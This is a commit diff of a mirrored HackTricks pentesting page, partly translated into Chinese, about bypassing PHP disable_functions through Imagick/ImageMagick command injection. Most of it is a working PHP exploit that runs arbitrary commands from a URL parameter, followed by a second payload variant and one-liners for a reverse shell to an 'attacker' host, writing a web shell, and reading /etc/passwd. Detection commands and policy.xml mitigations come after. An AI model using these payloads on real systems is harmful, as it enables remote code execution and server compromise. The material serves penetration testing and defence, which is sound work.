mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/php-tricks-e
This commit is contained in:
Translator
parent
7af380319f
commit
54994c5687
@ -1,55 +1,107 @@
|
||||
# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* Bypass
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
# Imagick <= 3.3.0 PHP >= 5.4 漏洞
|
||||
> 众所周知的 *ImageTragick* 漏洞家族 (CVE-2016-3714 等) 允许攻击者通过精心构造的 MVG/SVG 输入访问底层的 **ImageMagick** 二进制文件。当 PHP 扩展 **Imagick** 存在时，即使所有执行导向的 PHP 函数都被 `disable_functions` 黑名单列出，这也可以被滥用来执行 shell 命令。
|
||||
>
|
||||
> RicterZ (Chaitin Security Research Lab) 在 2016 年 5 月发布的原始 PoC 如下所示。该技术在当代 PHP 7/8 审计中仍然经常遇到，因为许多共享主机提供商只是编译 PHP 而不包含 `exec`/`system`，但保留了过时的 Imagick + ImageMagick 组合。
|
||||
|
||||
来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||
From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
|
||||
```php
|
||||
# Exploit Title: PHP Imagick disable_functions Bypass
|
||||
# Date: 2016-05-04
|
||||
# Exploit Author: RicterZ (ricter@chaitin.com)
|
||||
# Vendor Homepage: https://pecl.php.net/package/imagick
|
||||
# Version: Imagick <= 3.3.0 PHP >= 5.4
|
||||
# Test on: Ubuntu 12.04
|
||||
# Exploit:
|
||||
# Exploit Title : PHP Imagick disable_functions bypass
|
||||
# Exploit Author: RicterZ (ricter@chaitin.com)
|
||||
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
|
||||
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
|
||||
# Usage : curl "http://target/exploit.php?cmd=id"
|
||||
<?php
|
||||
# PHP Imagick disable_functions Bypass
|
||||
# Author: Ricter <ricter@chaitin.com>
|
||||
#
|
||||
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
|
||||
# <pre>
|
||||
# Disable functions: exec,passthru,shell_exec,system,popen
|
||||
# Run command: cat /etc/passwd
|
||||
# ====================
|
||||
# root:x:0:0:root:/root:/usr/local/bin/fish
|
||||
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||
# bin:x:2:2:bin:/bin:/bin/sh
|
||||
# sys:x:3:3:sys:/dev:/bin/sh
|
||||
# sync:x:4:65534:sync:/bin:/bin/sync
|
||||
# games:x:5:60:games:/usr/games:/bin/sh
|
||||
# ...
|
||||
# </pre>
|
||||
echo "Disable functions: " . ini_get("disable_functions") . "\n";
|
||||
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
|
||||
echo "Run command: $command\n====================\n";
|
||||
// Print the local hardening status
|
||||
printf("Disable functions: %s\n", ini_get("disable_functions"));
|
||||
$cmd = $_GET['cmd'] ?? 'id';
|
||||
printf("Run command: %s\n====================\n", $cmd);
|
||||
|
||||
$data_file = tempnam('/tmp', 'img');
|
||||
$imagick_file = tempnam('/tmp', 'img');
|
||||
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
|
||||
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
|
||||
|
||||
$exploit = <<<EOF
|
||||
$payload = <<<EOF
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
|
||||
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
|
||||
pop graphic-context
|
||||
EOF;
|
||||
|
||||
file_put_contents("$imagick_file", $exploit);
|
||||
$thumb = new Imagick();
|
||||
$thumb->readImage("$imagick_file");
|
||||
$thumb->writeImage(tempnam('/tmp', 'img'));
|
||||
$thumb->clear();
|
||||
$thumb->destroy();
|
||||
file_put_contents($mvgs, $payload);
|
||||
$img = new Imagick();
|
||||
$img->readImage($mvgs); // triggers convert(1)
|
||||
$img->writeImage(tempnam('/tmp', 'img'));
|
||||
$img->destroy();
|
||||
|
||||
echo file_get_contents($data_file);
|
||||
echo file_get_contents($tmp);
|
||||
?>
|
||||
```
|
||||
---
|
||||
|
||||
## 为什么它有效？
|
||||
|
||||
1. `Imagick::readImage()` 透明地生成 **ImageMagick** *delegate* (`convert`/`magick`) 二进制文件。
|
||||
2. MVG 脚本将 *fill* 设置为外部 URI。当注入双引号 (`"`) 时，剩余的行由 ImageMagick 内部使用的 `/bin/sh ‑c` 解释 → 任意 shell 执行。
|
||||
3. 所有操作都发生在 PHP 解释器之外，因此 *`disable_functions`*、*open_basedir*、`safe_mode`（在 PHP 5.4 中移除）和类似的进程内限制完全被绕过。
|
||||
|
||||
## 2025 状态 – 仍然 **相关**
|
||||
|
||||
* 任何依赖于易受攻击的 ImageMagick 后端的 Imagick 版本仍然可以被利用。在实验室测试中，相同的有效载荷在 PHP 8.3 上与 **Imagick 3.7.0** 和 **ImageMagick 7.1.0-51** 一起工作，且未编译严格的 `policy.xml`。
|
||||
* 自 2020 年以来，发现了几个额外的命令注入向量（`video:pixel-format`、`ps:`、`text:` 编码器…）。两个最近的公开示例是：
|
||||
* **CVE-2020-29599** – 通过 *text:* 编码器进行的 shell 注入。
|
||||
* **GitHub issue #6338** (2023) – 在 *video:* delegate 中的注入。
|
||||
|
||||
如果操作系统提供的 ImageMagick 版本 < **7.1.1-11**（或 6.x < **6.9.12-73**）且没有限制性政策文件，利用将是直接的。
|
||||
|
||||
## 现代有效载荷变体
|
||||
```php
|
||||
// --- Variant using the video coder discovered in 2023 ---
|
||||
$exp = <<<MAGICK
|
||||
push graphic-context
|
||||
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
|
||||
pop graphic-context
|
||||
MAGICK;
|
||||
$img = new Imagick();
|
||||
$img->readImageBlob($exp);
|
||||
```
|
||||
其他在CTF / 实际参与中的有用原语：
|
||||
|
||||
* **文件写入** – `... > /var/www/html/shell.php` （在 *open_basedir* 外写入 web-shell）
|
||||
* **反向 shell** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
|
||||
* **枚举** – `id; uname -a; cat /etc/passwd`
|
||||
|
||||
## 快速检测与枚举
|
||||
```bash
|
||||
# PHP side
|
||||
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
|
||||
|
||||
# System side
|
||||
convert -version | head -1 # ImageMagick version
|
||||
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
|
||||
```
|
||||
如果输出显示 `MVG` 或 `URL` 编码器已 *启用*，则目标可能是可利用的。
|
||||
|
||||
## 缓解措施
|
||||
|
||||
1. **修补/升级** – 使用 ImageMagick ≥ *7.1.1-11*（或最新的 6.x LTS）和 Imagick ≥ *3.7.2*。
|
||||
2. **强化 `policy.xml`** – 明确 *禁用* 高风险编码器：
|
||||
|
||||
```xml
|
||||
<policy domain="coder" name="MVG" rights="none"/>
|
||||
<policy domain="coder" name="MSL" rights="none"/>
|
||||
<policy domain="coder" name="URL" rights="none"/>
|
||||
<policy domain="coder" name="VIDEO" rights="none"/>
|
||||
<policy domain="coder" name="PS" rights="none"/>
|
||||
<policy domain="coder" name="TEXT" rights="none"/>
|
||||
```
|
||||
|
||||
3. **在不受信任的托管环境中移除扩展**。在大多数 Web 堆栈中，`GD` 或 `Imagick` 并不是严格要求的。
|
||||
4. 将 `disable_functions` 仅视为 *深度防御* – 永远不要作为主要的沙箱机制。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
|
||||
* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user